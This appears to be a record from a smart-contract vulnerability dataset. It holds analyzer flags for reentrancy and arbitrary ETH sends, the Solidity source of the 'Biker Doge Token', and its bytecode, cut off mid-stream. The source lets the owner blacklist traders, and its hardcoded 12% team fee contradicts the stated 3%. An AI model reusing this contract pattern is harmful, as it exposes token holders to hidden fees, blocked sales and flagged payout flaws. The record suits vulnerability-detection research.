952ba7f163c4a11628f55a4df523b3ef8560405161173e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061176d82826115ea565b82101561178a57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117b45760405162461bcd60e51b81526004016106519190611b54565b5060006113588486611e9d565b60008060008060008060008060006117de8a600c54600d5461192d565b92509250925060006117ee6115c7565b905060008060006118018e878787611982565b919e509c509a509598509396509194505050505091939550919395565b600061141883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611327565b60008061186d8385611de0565b9050838110156114185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610651565b60006118c96115c7565b905060006118d783836119d2565b306000908152600260205260409020549091506118f49082611860565b30600090815260026020526040902055505050565b600654611916908361181e565b6006556007546119269082611860565b6007555050565b6000808080611947606461194189896119d2565b906115ea565b9050600061195a60646119418a896119d2565b905060006119728261196c8b8661181e565b9061181e565b9992985090965090945050505050565b600080808061199188866119d2565b9050600061199f88876119d2565b905060006119ad88886119d2565b905060006119bf8261196c868661181e565b939b939a50919850919650505050505050565b6000826000036119e4575060006107a6565b60006119f08385611ebf565b9050826119fd8583611e9d565b146114185760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610651565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108d257600080fd5b8035611a8a81611a6a565b919050565b60006020808385031215611aa257600080fd5b823567ffffffffffffffff80821115611aba57600080fd5b818501915085601f830112611ace57600080fd5b813581811115611ae057611ae0611a54565b8060051b604051601f19603f83011681018181108582111715611b0557611b05611a54565b604052918252848201925083810185019188831115611b2357600080fd5b938501935b82851015611b4857611b3985611a7f565b84529385019392850192611b28565b98975050505050505050565b600060208083528351808285015260005b81811015611b8157858101830151858201604001528201611b65565b81811115611b93576000604083870101525b50601f01601f1916929092016040019392505050565b80358015158114611a8a57600080fd5b600060208284031215611bcb57600080fd5b61141882611ba9565b60008060408385031215611be757600080fd5b8235611bf281611a6a565b946020939093013593505050565b600080600060608486031215611c1557600080fd5b8335611c2081611a6a565b92506020840135611c3081611a6a565b929592945050506040919091013590565b600060208284031215611c5357600080fd5b813561141881611a6a565b600060208284031215611c7057600080fd5b5035919050565b60008060008060808587031215611c8d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cbe57600080fd5b833567ffffffffffffffff80821115611cd657600080fd5b818601915086601f830112611cea57600080fd5b813581811115611cf957600080fd5b8760208260051b8501011115611d0e57600080fd5b602092830195509350611d249186019050611ba9565b90509250925092565b60008060408385031215611d4057600080fd5b8235611d4b81611a6a565b91506020830135611d5b81611a6a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611dd957611dd9611db1565b5060010190565b60008219821115611df357611df3611db1565b500190565b600082821015611e0a57611e0a611db1565b500390565b600060208284031215611e2157600080fd5b815161141881611a6a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e7c5784516001600160a01b031683529383019391830191600101611e57565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eba57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ed957611ed9611db1565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122008cac95dfa0cebc8c9e47e2cc29e5b308fd18137262487d481103c2f2a68f74564736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,177
0x80448c6e335242167a9bfe24887928a90dcd7e0a
/** *Submitted for verification at Etherscan.io on 2021-07-11 */ /* Website: https://bikerdoge.com/ Twitter: https://twitter.com/bikerdoge Telegram: https://t.me/BikerdogeOfficial Biker Doge is here to celebrate independence and make his way into the upper branch of the cryptocurrencies with lots of cash and sweat. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BikerDogeToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Biker Doge Token"; string private constant _symbol = "BikerDOGE"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } } /* Website: https://bikerdoge.com/ Twitter: https://twitter.com/bikerdoge Telegram: https://t.me/BikerdogeOfficial Biker Doge is here to celebrate independence and make his way into the upper branch of the cryptocurrencies with lots of cash and sweat. */
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f03565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a26565b61045e565b6040516101789190612ee8565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a5565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d7565b61048d565b6040516101e09190612ee8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612949565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa3565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612949565b610783565b6040516102b191906130a5565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1a565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f03565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a26565b61098d565b60405161035b9190612ee8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a62565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af5565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299b565b61121a565b60405161041891906130a5565b60405180910390f35b60606040518060400160405280601081526020017f42696b657220446f676520546f6b656e00000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137de60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe5565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe5565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f42696b6572444f47450000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe5565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bb565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe5565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613065565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612972565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612972565b6040518363ffffffff1660e01b8152600401610e1f929190612e35565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612972565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e87565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1e565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5e565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acc565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe5565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa5565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f65565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613025565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f25565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613005565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613085565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131db565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f03565b60405180910390fd5b5060008385611c8a91906132bc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f45565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612972565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152